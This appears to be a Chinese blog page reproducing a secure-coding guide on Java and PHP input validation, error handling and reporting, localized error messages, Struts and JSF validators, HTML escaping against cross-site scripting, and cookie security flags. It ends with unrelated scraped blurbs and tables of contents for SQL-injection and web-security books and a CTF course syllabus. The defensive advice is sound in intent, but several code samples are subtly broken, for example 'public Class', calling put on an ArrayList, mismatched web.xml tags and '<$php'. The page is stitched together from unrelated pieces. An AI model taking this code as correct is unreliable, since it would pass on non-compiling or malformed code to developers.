(d) ERROR_USERNAME_INVALID:该错误密钥用于显示一般消息,以通知用户“user_name”值无效;

好的做法是定义用于存储和报告应用程序错误的以下框架 Java 类:

- ErrorKeys:定义所有错误密钥

      // Example: ErrorKeys defining the following error keys:    
      //    - ERROR_USERNAME_REQUIRED
      //    - ERROR_USERNAME_ALPHANUMERIC
      //    - ERROR_USERNAME_DUPLICATE
      //    - ERROR_USERNAME_INVALID
      //    ...
      public Class ErrorKeys {
          public static final String ERROR_USERNAME_REQUIRED = "error.username.required";
          public static final String ERROR_USERNAME_ALPHANUMERIC = "error.username.alphanumeric";
          public static final String ERROR_USERNAME_DUPLICATE = "error.username.duplicate";
          public static final String ERROR_USERNAME_INVALID = "error.username.invalid";
          ...
      }

- Error:封装个别错误


      // Example: Error encapsulates an error key.
      // Error is serializable to support code executing in multiple JVMs.
      public Class Error implements Serializable {
          
          // Constructor given a specified error key
          public Error(String key) {
              this(key, null);
          }
          
          // Constructor given a specified error key and array of placeholder objects
          public Error(String key, Object[] values) {
              this.key = key;
              this.values = values;
          }
          
          // Returns the error key
          public String getKey() {
              return this.key;
          }
          
          // Returns the placeholder values
          public Object[] getValues() {
              return this.values;
          }
          
          private String key = null;
          private Object[] values = null;
      }    

- Errors:封装错误的集合


      // Example: Errors encapsulates the Error objects being reported to the presentation layer.
      // Errors are stored in a HashMap where the key is the bean property name and value is an
      // ArrayList of Error objects.
      public Class Errors implements Serializable {
      
          // Adds an Error object to the Collection of errors for the specified bean property.
          public void addError(String property, Error error) {
              ArrayList propertyErrors = (ArrayList)errors.get(property);
              if (propertyErrors == null) {
                  propertyErrors = new ArrayList();
                  errors.put(property, propertyErrors);
              }
              propertyErrors.put(error);            
          }
          
          // Returns true if there are any errors
          public boolean hasErrors() {
              return (errors.size > 0);
          }
          
          // Returns the Errors for the specified property
          public ArrayList getErrors(String property) {
              return (ArrayList)errors.get(property);
          }
  
          private HashMap errors = new HashMap();
      }

以下是使用上述框架类来处理“user_name”字段验证错误的示例:

  // Example to process validation errors of the "user_name" field.
  Errors errors = new Errors();
  String userName = request.getParameter("user_name");
  // (a) Required validation rule
  if (!Validator.validateRequired(userName)) {
      errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_REQUIRED));
  } // (b) Alpha-numeric validation rule
  else if (!Validator.matchPattern(userName, "^[a-zA-Z0-9]*$")) {
      errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_ALPHANUMERIC));
  }
  else
  {
      // (c) Duplicate check validation rule
      // We assume that there is an existing UserValidationEJB session bean that implements
      // a checkIfDuplicate() method to verify if the user already exists in the database.
      try {
          ...        
          if (UserValidationEJB.checkIfDuplicate(userName)) {
              errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_DUPLICATE));
          }
      } catch (RemoteException e) {
          // log the error
          logger.error("Could not validate user for specified userName: " + userName);
          errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_DUPLICATE);
      }
  }
  // set the errors object in a request attribute called "errors"
  request.setAttribute("errors", errors);
  ...

[2] 报告错误

有两种方法可报告 web 层应用程序错误:

(a) Servlet 错误机制

(b) JSP 错误机制


[2-a] Servlet 错误机制

Servlet 可通过以下方式报告错误:

- 转发给输入 JSP(已将错误存储在请求属性中),或

- 使用 HTTP 错误代码参数来调用 response.sendError,或

- 抛出异常


好的做法是处理所有已知应用程序错误(如 [1] 部分所述),将这些错误存储在请求属性中,然后转发给输入 JSP。输入 JSP 应显示错误消息,并提示用户重新输入数据。以下示例阐明转发给输入 JSP(userInput.jsp)的方式:

  // Example to forward to the userInput.jsp following user validation errors
  RequestDispatcher rd = getServletContext().getRequestDispatcher("/user/userInput.jsp");
  if (rd != null) {
      rd.forward(request, response);
  }

如果 Servlet 无法转发给已知的 JSP 页面,那么第二个选项是使用 response.sendError 方法,将 HttpServletResponse.SC_INTERNAL_SERVER_ERROR(状态码 500)作为参数,来报告错误。请参阅 javax.servlet.http.HttpServletResponse 的 Javadoc,以获取有关各种 HTTP 状态码的更多详细信息。返回 HTTP 错误的示例:

  // Example to return a HTTP error code
  RequestDispatcher rd = getServletContext().getRequestDispatcher("/user/userInput.jsp");
  if (rd == null) {
      // messages is a resource bundle with all message keys and values
      response.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR,
                              messages.getMessage(ErrorKeys.ERROR_USERNAME_INVALID));
  }

作为最后的手段,Servlet 可以抛出异常,且该异常必须是以下其中一类的子类: - RuntimeException - ServletException - IOException

[2-b] JSP 错误机制

JSP 页面通过定义 errorPage 伪指令来提供机制,以处理运行时异常,如以下示例所示:

      <%@ page errorPage="/errors/userValidation.jsp" %>

未捕获的 JSP 异常被转发给指定的 errorPage,并且原始异常设置在名称为 javax.servlet.jsp.jspException 的请求参数中。错误页面必须包括 isErrorPage 伪指令,如下所示:

      <%@ page isErrorPage="true" %>

isErrorPage 伪指令导致“exception”变量初始化为所抛出的异常对象。

[3] 呈现错误

J2SE Internationalization API 提供使应用程序资源外部化以及将消息格式化的实用程序类,其中包括:

(a) 资源束

(b) 消息格式化

[3-a] 资源束

资源束通过将本地化数据从使用该数据的源代码中分离来支持国际化。每一资源束都会为特定的语言环境存储键/值对的映射。

java.util.PropertyResourceBundle 将内容存储在外部属性文件中,对其进行使用或扩展都很常见,如以下示例所示:

  ################################################
  # ErrorMessages.properties
  ################################################
  # required user name error message
  error.username.required=User name field is required
  
  # invalid user name format
  error.username.alphanumeric=User name must be alphanumeric
  
  # duplicate user name error message
  error.username.duplicate=User name {0} already exists, please choose another one
  
  ...

可定义多种资源,以支持不同的语言环境(因此名为资源束)。例如,可定义 ErrorMessages_fr.properties 以支持该束系列的法语成员。如果请求的语言环境的资源成员不存在,那么会使用缺省成员。在以上示例中,缺省资源是 ErrorMessages.properties。应用程序(JSP 或 Servlet)会根据用户的语言环境从适当的资源检索内容。

[3-b] 消息格式化

J2SE 标准类 java.util.MessageFormat 提供使用替换占位符来创建消息的常规方法。MessageFormat 对象包含嵌入了格式说明符的模式字符串,如下所示:

  // Example to show how to format a message using placeholder parameters
  String pattern = "User name {0} already exists, please choose another one";
  String userName = request.getParameter("user_name");
  Object[] args = new Object[1];
  args[0] = userName;
  String message = MessageFormat.format(pattern, args);

以下是使用 ResourceBundle 和 MessageFormat 来呈现错误消息的更加全面的示例:

  // Example to render an error message from a localized ErrorMessages resource (properties file)
  // Utility class to retrieve locale-specific error messages
  public Class ErrorMessageResource {
      
      // Returns the error message for the specified error key in the environment locale
      public String getErrorMessage(String errorKey) {
          return getErrorMessage(errorKey, defaultLocale);
      }
      
      // Returns the error message for the specified error key in the specified locale
      public String getErrorMessage(String errorKey, Locale locale) {
          return getErrorMessage(errorKey, null, locale);
      }
      
      // Returns a formatted error message for the specified error key in the specified locale
      public String getErrorMessage(String errorKey, Object[] args, Locale locale) {    
          // Get localized ErrorMessageResource
          ResourceBundle errorMessageResource = ResourceBundle.getBundle("ErrorMessages", locale);
          // Get localized error message
          String errorMessage = errorMessageResource.getString(errorKey);
          if (args != null) {
              // Format the message using the specified placeholders args
              return MessageFormat.format(errorMessage, args);
          } else {
              return errorMessage;
          }
      }
      
      // default environment locale
      private Locale defaultLocale = Locale.getDefaultLocale();
  }
  ...
  // Get the user's locale
  Locale userLocale = request.getLocale();
  // Check if there were any validation errors
  Errors errors = (Errors)request.getAttribute("errors");
  if (errors != null && errors.hasErrors()) {
      // iterate through errors and output error messages corresponding to the "user_name" property
      ArrayList userNameErrors = errors.getErrors("user_name");
      ListIterator iterator = userNameErrors.iterator();
      while (iterator.hasNext()) {
          // Get the next error object
          Error error = (Error)iterator.next();
          String errorMessage = ErrorMessageResource.getErrorMessage(error.getKey(), userLocale);
          output.write(errorMessage + "\r\n");
      }
  }

建议定义定制 JSP 标记(如 displayErrors),以迭代处理并呈现错误消息,如以上示例所示。

[4] 错误映射

通常情况下,“Servlet 容器”会返回与响应状态码或异常相对应的缺省错误页面。可以使用定制错误页面来指定状态码或异常与 Web 资源之间的映射。好的做法是开发不会泄露内部错误状态的静态错误页面(缺省情况下,大部分 Servlet 容器都会报告内部错误消息)。该映射配置在“Web 部署描述符(web.xml)”中,如以下示例所指定:

  <!-- Mapping of HTTP error codes and application exceptions to error pages -->
  <error-page>
    <exception-type>UserValidationException</exception-type>
    <location>/errors/validationError.html</error-page>
  </error-page>
  <error-page>
    <error-code>500</exception-type>
    <location>/errors/internalError.html</error-page>
  </error-page>
  <error-page>
  ...
  </error-page>
  ...


推荐使用的 JAVA 工具用于服务器端验证的两个主要 Java 框架是:

[1] Jakarta Commons Validator(与 Struts 1.1 集成)Jakarta Commons Validator是 Java 框架,定义如上所述的错误处理机制。验证规则配置在 XML 文件中,该文件定义了表单字段的输入验证规则以及对应的验证错误密钥。Struts 提供国际化支持以使用资源束和消息格式化来构建本地化应用程序。

使用“Struts 验证器”来验证 loginForm 的 userName 字段的示例:

  <form-validation>
      <global>
          ...
          <validator name="required"
              classname="org.apache.struts.validator.FieldChecks"
              method="validateRequired"
              msg="errors.required">
          </validator>
          <validator name="mask"
              classname="org.apache.struts.validator.FieldChecks"
              method="validateMask"
              msg="errors.invalid">
          </validator>
          ...
      </global>
      <formset>
          <form name="loginForm">
              <!-- userName is required and is alpha-numeric case insensitive -->
              <field property="userName" depends="required,mask">
                  <!-- message resource key to display if validation fails -->
                  <msg name="mask" key="login.userName.maskmsg"/>
                  <arg0 key="login.userName.displayname"/>
                  <var>
                      <var-name>mask</var-name>
                      <var-value>^[a-zA-Z0-9]*$</var-value>
                  </var>
              </field>
          ...
          </form>
          ...
      </formset>
  </form-validation>

Struts JSP 标记库定义了有条件地显示一组累计错误消息的“errors”标记,如以下示例所示:

  <%@ page language="java" %>
  <%@ taglib uri="/WEB-INF/struts-html.tld" prefix="html" %>
  <%@ taglib uri="/WEB-INF/struts-bean.tld" prefix="bean" %>
  <html:html>
  <head>
  <body>
      <html:form action="/logon.do">    
      <table border="0" width="100%">
      <tr>
          <th align="right">
              <html:errors property="username"/>
              <bean:message key="prompt.username"/>
          </th>
          <td align="left">
              <html:text property="username" size="16"/>
          </td>
      </tr>
      <tr>
      <td align="right">
          <html:submit><bean:message key="button.submit"/></html:submit>
      </td>
      <td align="right">
          <html:reset><bean:message key="button.reset"/></html:reset>
      </td>
      </tr>
      </table>
      </html:form>
  </body>
  </html:html>

[2] JavaServer Faces 技术

“JavaServer Faces 技术”是一组代表 UI 组件、管理组件状态、处理事件、验证输入和支持国际化的 Java API(JSR 127)。


JavaServer Faces API 定义“output_errors”UIOutput 处理器,该处理器显示整个页面的错误消息,或与指定的客户端标识相关联的错误消息。

使用 JavaServer Faces 来验证 loginForm 的 userName 字段的示例:

  <%@ taglib uri="http://java.sun.com/jsf/html" prefix="h" %>
  <%@ taglib uri="http://java.sun.com/jsf/core" prefix="f" %>
  ...
  <jsp:useBean id="UserBean"
      class="myApplication.UserBean" scope="session" />
  <f:use_faces>
    <h:form formName="loginForm" >
      <h:input_text id="userName" size="20" modelReference="UserBean.userName">
          <f:validate_required/>
          <f:validate_length minimum="8" maximum="20"/>    
      </h:input_text>
      <!-- display errors if present -->
      <h:output_errors id="loginErrors" clientId="userName"/>
      <h:command_button id="submit" label="Submit" commandName="submit" /><p>
    </h:form>
  </f:use_faces>

引用

Java API 1.3 -

http://java.sun.com/j2se/1.3/docs/api/

Java API 1.4 -

http://java.sun.com/j2se/1.4/docs/api/

Java Servlet API 2.3 -

http://java.sun.com/products/servlet/2.3/javadoc/

Java 正则表达式包 -

http://jakarta.apache.org/regexp/

Jakarta 验证器 -

http://jakarta.apache.org/commons/validator/

JavaServer Faces 技术 -

http://java.sun.com/j2ee/javaserverfaces/

PHP

** 输入数据验证:虽然为方便用户而在客户端层上提供数据验证,但仍必须始终在服务器层上执行数据验证。客户端验证本身就不安全,因为这些验证可轻易绕过,例如,通过禁用 Javascript。

一份好的设计通常需要 Web 应用程序框架,以提供服务器端实用程序例程,从而验证以下内容:[1] 必需字段[2] 字段数据类型(缺省情况下,所有 HTTP 请求参数都是“字符串”)[3] 字段长度[4] 字段范围[5] 字段选项[6] 字段模式[7] cookie 值[8] HTTP 响应好的做法是实现一个或多个验证每个应用程序参数的函数。以下部分描述一些检查的示例。

[1] 必需字段“始终”检查字段不为空,并且其长度要大于零,不包括行距和后面的空格。如何验证必需字段的示例:

  // PHP example to validate required fields
  function validateRequired($input) {
      ...
      $pass = false;
      if (strlen(trim($input))>0){
          $pass = true;
      }
      return $pass;
      ...
  }
  ...
  if (validateRequired($fieldName)) {
      // fieldName is valid, continue processing request
      ...
  }


[2] 输入的 Web 应用程序中的字段数据类型和输入参数欠佳。例如,所有 HTTP 请求参数或 cookie 值的类型都是“字符串”。开发者负责验证输入的数据类型是否正确。[3] 字段长度“始终”确保输入参数(HTTP 请求参数或 cookie 值)有最小长度和/或最大长度的限制。[4] 字段范围

始终确保输入参数是在由功能需求定义的范围内。

[5] 字段选项 Web 应用程序通常会为用户显示一组可供选择的选项(例如,使用 SELECT HTML 标记),但不能执行服务器端验证以确保选定的值是其中一个允许的选项。请记住,恶意用户能够轻易修改任何选项值。始终针对由功能需求定义的受允许的选项来验证选定的用户值。[6] 字段模式

始终检查用户输入与由功能需求定义的模式是否匹配。例如,如果 userName 字段应仅允许字母数字字符,且不区分大小写,那么请使用以下正则表达式:^[a-zA-Z0-9]+$


[7] cookie 值

适用于 cookie 值的相同的验证规则(如上所述)取决于应用程序需求(如验证必需值、验证长度等)。

[8] HTTP 响应[8-1] 过滤用户输入要保护应用程序免遭跨站点脚本编制的攻击,开发者应通过将敏感字符转换为其对应的字符实体来清理 HTML。这些是 HTML 敏感字符:< > " ' % ; ) ( & +


PHP 包含一些自动化清理实用程序函数,如 htmlentities():


  $input = htmlentities($input, ENT_QUOTES, 'UTF-8');

此外,为了避免“跨站点脚本编制”的 UTF-7 变体,您应该显式定义响应的 Content-Type 头,例如:

  <?php
  
  header('Content-Type: text/html; charset=UTF-8');
  
  ?>

[8-2] 保护 cookie

在 cookie 中存储敏感数据且通过 SSL 来传输时,请确保先在 HTTP 响应中设置 cookie 的安全标志。这将会指示浏览器仅通过 SSL 连接来使用该 cookie。

为了保护 cookie,您可以使用以下代码示例:

  <$php
  
      $value = "some_value";
      $time = time()+3600;
      $path = "/application/";
      $domain = ".example.com";
      $secure = 1;
  
      setcookie("CookieName", $value, $time, $path, $domain, $secure, TRUE);
  ?>
  

此外,我们建议您使用 HttpOnly 标志。当 HttpOnly 标志设置为 TRUE 时,将只能通过 HTTP 协议来访问 cookie。这意味着无法用脚本语言(如 JavaScript)来访问 cookie。该设置可有效地帮助减少通过 XSS 攻击盗用身份的情况(虽然并非所有浏览器都支持该设置)。

在 PHP 5.2.0 中添加了 HttpOnly 标志。

引用[1] 使用 HTTP 专用 cookie 来减轻“跨站点脚本编制”的影响:

http://msdn2.microsoft.com/en-us/library/ms533046.aspx

[2] PHP 安全协会:

http://phpsec.org/

[3] PHP 和 Web 应用程序安全博客(Chris Shiflett):

http://shiflett.org/


欢迎大家分享更好的思路,热切期待^^_^^ !

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
作 者:(美)克拉克 著,黄晓磊,李化 译 SQL注入是Internet上最危险、最有名的安全漏洞之一,本书是目前唯一一本专门致力于讲解SQL威胁的图书。本书作者均是专门研究SQL注入的安全专家,他们集众家之长,对应用程序的基本编码和升级维护进行全面跟踪,详细讲解可能引发SQL注入的行为以及攻击者的利用要素,并结合长期实践经验提出了相应的解决方案。针对SQL注入隐蔽性极强的特点,本书重点讲解了SQL注入的排查方法和可以借助的工具,总结了常见的利用SQL漏洞的方法。另外,本书还专门从代码层和系统层的角度介绍了避免SQL注入的各种策略和需要考虑的问题。   本书主要内容   SQL注入一直长期存在,但最近有所增强。本书包含所有与SQL注入攻击相关的、当前已知的信息,凝聚了由本书作者组成的、无私奉献的SQL注入专家团队的所有深刻见解。   什么是SQL注入?理解它是什么以及它的基本原理   查找、确认和自动发现SQL注入   查找代码SQL注入时的提示和技巧   使用SQL注入创建利用   通过设计来避免由SQL攻击所带来的危险 目录: 第1章 什么是SQL注入  1.1 概述  1.2 理解Web应用的工作原理   1.2.1 一种简单的应用架构   1.2.2 一种较复杂的架构  1.3 理解SQL注入  1.4 理解SQL注入的产生过程   1.4.1 构造动态字符串   1.4.2 不安全的数据库配置  1.5 本章小结  1.6 快速解决方案  1.7 常见问题解答 第2章 SQL注入测试  2.1 概述  2.2 寻找SQL注入   2.2.1 借助推理进行测试   2.2.2 数据库错误   2.2.3 应用响应   2.2.4 SQL盲注  2.3 确认SQL注入   2.3.1 区分数字和字符串   2.3.2 内联SQL注入   2.3.3 终止式SQL注入   2.3.4 时间延迟  2.4 自动寻找SQL注入  2.5 本章小结  2.6 快速解决方案  2.7 常见问题解答 第3章 复查代码的SQL注入  3.1 概述  3.2 复查源代码的SQL注入   3.2.1 危险的编码行为   3.2.2 危险的函数   3.2.3 跟踪数据   3.2.4 复查PL/SQL和T-SQL代码  3.3 自动复查源代码第1章 什么是SQL注入   3.3.1 YASCA   3.3.2 Pixy   3.3.3 AppCodeScan   3.3.4 LAPSE   3.3.5 SWAAT   3.3.6 Microsoft SQL注入源代码分析器   3.3.7 CAT.NET   3.3.8 商业源代码复查工具   3.3.9 Ounce   3.3.10 Fortify源代码分析器   3.3.11 CodeSecure  3.4 本章小结  3.5 快速解决方案  3.6 常见问题解答 第4章 利用SQL注入  4.1 概述  4.2 理解常见的利用技术  4.3 识别数据库   4.3.1 非盲跟踪   4.3.2 盲跟踪  4.4 使用UINON语句提取数据   4.4.1 匹配列   4.4.2 匹配数据类型  4.5 使用条件语句   4.5.1 方法1:基于时间   4.5.2 方法2:基于错误   4.5.3 方法3:基于内容   4.5.4 处理字符串   4.5.5 扩展攻击   4.5.6 利用SQL注入错误   4.5.7 Oracle的错误消息  4.6 枚举数据库模式   4.6.1 SQL Server   4.6.2 MySQL   4.6.3 Oracle  4.7 提升权限   4.7.1 SQL Server   4.7.2 Oracle  4.8 窃取哈希口令   4.8.1 SQL Server   4.8.2 MySQL   4.8.3 Oracle  4.9 带外通信   4.9.1 E-mail   4.9.2 HTTP/DNS   4.9.3 文件系统  4.10 自动利用SQL注入   4.10.1 Sqlmap   4.10.2 Bobcat   4.10.3 BSQL   4.10.4 其他工具  4.11 本章小结  4.12 快速解决方案  4.13 常见问题解答 第5章 SQL盲注利用  5.1 概述  5.2 寻找并确认SQL盲注   5.2.1 强制产生通用错误   5.2.2 注入带副作用的查询   5.2.3 拆分与平衡   5.2.4 常见的SQL盲注场景   5.2.5 SQL盲注技术  5.3 使用基于时间的技术   5.3.1 延迟数据库查询   5.3.2 基于时间推断的考虑  5.4 使用基于响应的技术   5.4.1 MySQL响应技术   5.4.2 SQL Server响应技术   5.4.3 Oracle响应技术   5.4.4 返回多位信息  5.5 使用非主流通道   5.5.1 数据库连接   5.5.2 DNS渗漏   5.5.3 E-mail渗漏   5.5.4 HTTP渗漏  5.6 自动SQL盲注利用   5.6.1 Absinthe   5.6.2 BSQL Hacker   5.6.3 SQLBrute   5.6.4 Sqlninja   5.6.5 Squeeza  5.7 本章小结  5.8 快速解决方案  5.9 常见问题解答 第6章 利用操作系统  6.1 概述  6.2 访问文件系统   6.2.1 读文件   6.2.2 写文件  6.3 执行操作系统命令  6.4 巩固访问  6.5 本章小结  6.6 快速解决方案  6.7 常见问题解答  6.8 尾注 第7章 高级话题  7.1 概述  7.2 避开输入过滤器   7.2.1 使用大小写变种   7.2.2 使用SQL注释   7.2.3 使用URL编码   7.2.4 使用动态的查询执行   7.2.5 使用空字节   7.2.6 嵌套剥离后的表达式   7.2.7 利用截断   7.2.8 避开自定义过滤器   7.2.9 使用非标准入口点  7.3 利用阶SQL注入  7.4 使用混合攻击   7.4.1 修改捕获的数据   7.4.2 创建跨站脚本   7.4.3 在Oracle上运行操作系统命令   7.4.4 利用验证过的漏洞  7.5 本章小结  7.6 快速解决方案  7.7 常见问题解答 第8章 代码层防御  8.1 概述  8.2 使用参数化语句   8.2.1 Java的参数化语句   8.2.2 .NET(C#)的参数化语句   8.2.3 PHP的参数化语句   8.2.4 PL/SQL的参数化语句  8.3 输入验证   8.3.1 白名单   8.3.2 黑名单   8.3.3 Java的输入验证   8.3.4 .NET的输入验证   8.3.5 PHP的输入验证  8.4 编码输出  8.5 规范化  8.6 通过设计来避免SQL注入的危险   8.6.1 使用存储过程   8.6.2 使用抽象层   8.6.3 处理敏感数据   8.6.4 避免明显的对象名   8.6.5 创建数据库Honeypot   8.6.6 附加的安全开发资源  8.7 本章小结  8.8 快速解决方案  8.9 常见问题解答 第9章 平台层防御  9.1 概述  9.2 使用运行时保护   9.2.1 Web应用防火墙   9.2.2 截断过滤器   9.2.3 不可编辑的输入保护与可编辑的输入保护   9.2.4 URL策略/页面层策略   9.2.5 面向方面编程   9.2.6 应用入侵检测系统   9.2.7 数据库防火墙  9.3 确保数据库安全   9.3.1 锁定应用数据   9.3.2 锁定数据库服务器  9.4 额外的部署考虑   9.4.1 最小化不必要信息的泄露   9.4.2 提高Web服务器日志的冗余   9.4.3 在独立主机上部署Web服务器和数据库服务器   9.4.4 配置网络访问控制  9.5 本章小结  9.6 快速解决方案  9.7 常见问题解答 第10章 参考资料  10.1 概述  10.2 SQL入门  10.3 SQL注入快速参考   10.3.1 识别数据库平台   10.3.2 Microsoft SQL Server备忘单   10.3.3 MySQL备忘单   10.3.4 Oracle备忘单
第1章 注入类 课时1:SQL注入原理与利用 19'40 课时2:SQL注入宽字节原理与利用42'08 课时3:SQL Union注入原理与利用01'01'54 课时4:SQL注入布尔注入50'02 课时5:报错注入原理与利用29'27 课时6:CTF SQL基于约束注入原理与利用12'22 课时7:SQL注入基于时间注入的原理与利用50'13 课时8:SQL基于时间盲注的Python自动化解题22'45 课时9:Sqlmap自动化注入工具介绍23'47 课时10:Sqlmap自动化注入实验 - POST注入13'34 课时11:SQL注入常用基础Trick18'15 第2章 代码执行与命令执行 课时1:代码执行介绍49'32 课时2:命令执行介绍20'14 课时3:命令执行分类20'12 课时4:命令执行技巧24'30 课时5:长度限制的命令执行25'46 课时6:无数字和字母命令执行10'27 第3章 文件上传与文件包含 课时1:文件上传漏洞原理与简单实验17'10 课时2:文件上传利用 - javascript客户检查14'16 课时3:文件上传利用 - MIME类型检查10'50 课时4:文件上传利用 - 黑名单检查11'46 课时5:白名单检查13'09 课时6:Magic Header检查13'04 课时7:竞争上传21'10 课时8:简单利用15'47 课时9:文件包含介绍 - 伪协议zip和phar利用17'56 课时10:文件包含介绍-伪协议phpfilter利用04'54 课时11:日志文件利用07'58 课时12:日志文件利用session会话利用17'43 第4章 SSRF 课时1:SSRF介绍与简单利用19'14 课时2:SSRF限制绕过策略13'07 课时3:SSRF可以使用的协议分析17'44 课时4:Linux基础知识21'37 课时5:Redis未授权访问漏洞利用与防御16'17 课时6:Redis未授权添加ssh密钥f17'04 第5章 第五章 课时1:XXE-XML基础必备24'47 课时2:XXEXML盲注利用技巧18'22 第6章 第六章 课时1:序列化和反序列化介绍15'49 课时2:PHP反序列化识别与利用14'22 课时3:PHP序列化特殊点介绍15'28 课时4:魔术方法20'35 课时5:序列化漏洞案例 - 任意命令执行05'53 课时6:Phar反序列化10'38 第7章 第7章 Python基础 课时1:7.1-Requests模块安装与介绍15'28 课时2:7.2-Python requests库 使用18'26 课时3:7.3-XSS自动化检测13'23 课时4:7.4-Python-SQL自动化检测07'59 课时5:7.5-Python 源码泄露自动化挖掘23'38 第8章 第8章 SSTI模板注入 课时1:8.1-Flask框架介绍与基础39'14 课时2:8.2-RCE 文件读写23'37 课时3:8.3-SSTI Trick技巧27'13
SQL注入是Internet上最危险、最有名的安全漏洞之一,本书是目前唯一一本专门致力于讲解SQL威胁的图书。本书作者均是专门研究SQL注入的安全专家,他们集众家之长,对应用程序的基本编码和升级维护进行全面跟踪,详细讲解可能引发SQL注入的行为以及攻击者的利用要素,并结合长期实践经验提出了相应的解决方案。针对SQL注入隐蔽性极强的特点,本书重点讲解了SQL注入的排查方法和可以借助的工具,总结了常见的利用SQL漏洞的方法。另外,本书还专门从代码层和系统层的角度介绍了避免SQL注入的各种策略和需要考虑的问题。   本书主要内容   SQL注入一直长期存在,但最近有所增强。本书包含所有与SQL注入攻击相关的、当前已知的信息,凝聚了由本书作者组成的、无私奉献的SQL注入专家团队的所有深刻见解。   什么是SQL注入?理解它是什么以及它的基本原理   查找、确认和自动发现SQL注入   查找代码SQL注入时的提示和技巧   使用SQL注入创建利用   通过设计来避免由SQL攻击所带来的危险 第1章 什么是SQL注入 1 1.1 概述 2 1.2 理解Web应用的工作原理 2 1.2.1 一种简单的应用架构 3 1.2.2 一种较复杂的架构 4 1.3 理解SQL注入 5 1.4 理解SQL注入的产生过程 10 1.4.1 构造动态字符串 10 1.4.2 不安全的数据库配置 16 1.5 本章小结 18 1.6 快速解决方案 18 1.7 常见问题解答 19 第2章 SQL注入测试 21 2.1 概述 22 2.2 寻找SQL注入 22 2.2.1 借助推理进行测试 22 2.2.2 数据库错误 29 2.2.3 应用响应 38 2.2.4 SQL盲注 42 2.3 确认SQL注入 45 2.3.1 区分数字和字符串 46 2.3.2 内联SQL注入 46 2.3.3 终止式SQL注入 51 2.3.4 时间延迟 59 2.4 自动寻找SQL注入 60 2.5 本章小结 68 2.6 快速解决方案 68 2.7 常见问题解答 69 第3章 复查代码的SQL注入 71 3.1 概述 72 3.2 复查源代码的SQL注入 72 3.2.1 危险的编码行为 74 3.2.2 危险的函数 79 3.2.3 跟踪数据 82 3.2.4 复查PL/SQL和T-SQL代码 88 3.3 自动复查源代码第1章 什么是SQL注入 94 3.3.1 YASCA 96 3.3.2 Pixy 96 3.3.3 AppCodeScan 97 3.3.4 LAPSE 97 3.3.5 SWAAT 97 3.3.6 Microsoft SQL注入源代码分析器 98 3.3.7 CAT.NET 98 3.3.8 商业源代码复查工具 98 3.3.9 Ounce 99 3.3.10 Fortify源代码分析器 100 3.3.11 CodeSecure 100 3.4 本章小结 100 3.5 快速解决方案 101 3.6 常见问题解答 102 第4章 利用SQL注入 105 4.1 概述 106 4.2 理解常见的利用技术 107 4.3 识别数据库 108 4.3.1 非盲跟踪 109 4.3.2 盲跟踪 112 4.4 使用UINON语句提取数据 113 4.4.1 匹配列 114 4.4.2 匹配数据类型 115 4.5 使用条件语句 119 4.5.1 方法1:基于时间 120 4.5.2 方法2:基于错误 122 4.5.3 方法3:基于内容 123 4.5.4 处理字符串 123 4.5.5 扩展攻击 125 4.5.6 利用SQL注入错误 126 4.5.7 Oracle的错误消息 128 4.6 枚举数据库模式 131 4.6.1 SQL Server 131 4.6.2 MySQL 136 4.6.3 Oracle 139 4.7 提升权限 142 4.7.1 SQL Server 142 4.7.2 Oracle 147 4.8 窃取哈希口令 148 4.8.1 SQL Server 149 4.8.2 MySQL 150 4.8.3 Oracle 151 4.9 带外通信 154 4.9.1 E-mail 154 4.9.2 HTTP/DNS 157 4.9.3 文件系统 158 4.10 自动利用SQL注入 161 4.10.1 Sqlmap 161 4.10.2 Bobcat 164 4.10.3 BSQL 164 4.10.4 其他工具 166 4.11 本章小结 166 4.12 快速解决方案 167 4.13 常见问题解答 168 第5章 SQL盲注利用 171 5.1 概述 172 5.2 寻找并确认SQL盲注 173
Web安全深度剖析》总结了当前流行的高危漏洞的形成原因、攻击手段及解决方案,并通过大量的示例代码复现漏洞原型,制作模拟环境,更好地帮助读者深入了解Web应用程序存在的漏洞,防患于未然。 《Web安全深度剖析》从攻到防,从原理到实战,由浅入深、循序渐进地介绍了Web 安全体系。全书分4 篇共16 章,除介绍Web 安全的基础知识外,还介绍了Web 应用程序最常见的安全漏洞、开源程序的攻击流程与防御,并着重分析了“拖库”事件时黑客所使用的攻击手段。此外,还介绍了渗透测试工程师其他的一些检测方式。 《Web安全深度剖析》最适合渗透测试人员、Web 开发人员、安全咨询顾问、测试人员、架构师、项目经理、设计等人员阅读,也可以作为信息安全等相关专业的教材。 第1篇 基础篇 第1章 Web安全简介 2 1.1 服务器是如何被入侵的 2 1.2 如何更好地学习Web安全 4 第2章 深入HTTP请求流程 6 2.1 HTTP协议解析 6 2.1.1 发起HTTP请求 6 2.1.2 HTTP协议详解 7 2.1.3 模拟HTTP请求 13 2.1.4 HTTP协议与HTTPS协议的区别 14 2.2 截取HTTP请求 15 2.2.1 Burp Suite Proxy 初体验 15 2.2.2 Fiddler 19 2.2.3 WinSock Expert 24 2.3 HTTP应用:黑帽SEO之搜索引擎劫持 24 2.4 小结 25 第3章 信息探测 26 3.1 Google Hack 26 3.1.1 搜集子域名 26 3.1.2 搜集Web信息 27 3.2 Nmap初体验 29 3.2.1 安装Nmap 29 3.2.2 探测主机信息 30 3.2.3 Nmap脚本引擎 32 3.3 DirBuster 33 3.4 指纹识别 35 3.5 小结 38 第4章 漏洞扫描 39 4.1 Burp Suite 39 4.1.1 Target 39 4.1.2 Spider 40 4.1.3 Scanner 42 4.1.4 Intruder 43 4.1.5 辅助模块 46 4.2 AWVS 49 4.2.1 WVS向导扫描 50 4.2.2 Web扫描服务 52 4.2.3 WVS小工具 53 4.3 AppScan 54 4.3.1 使用AppScan扫描 55 4.3.2 处理结果 58 4.3.3 AppScan辅助工具 58 4.4 小结 61 第2篇 原理篇 第5章 SQL注入漏洞 64 5.1 SQL注入原理 64 5.2 注入漏洞分类 66 5.2.1 数字型注入 66 5.2.2 字符型注入 67 5.2.3 SQL注入分类 68 5.3 常见数据库注入 69 5.3.1 SQL Server 69 5.3.2 MySQL 75 5.3.3 Oracle 84 5.4 注入工具 89 5.4.1 SQLMap 89 5.4.2 Pangolin 95 5.4.3 Havij 98 5.5 防止SQL注入 99 5.5.1 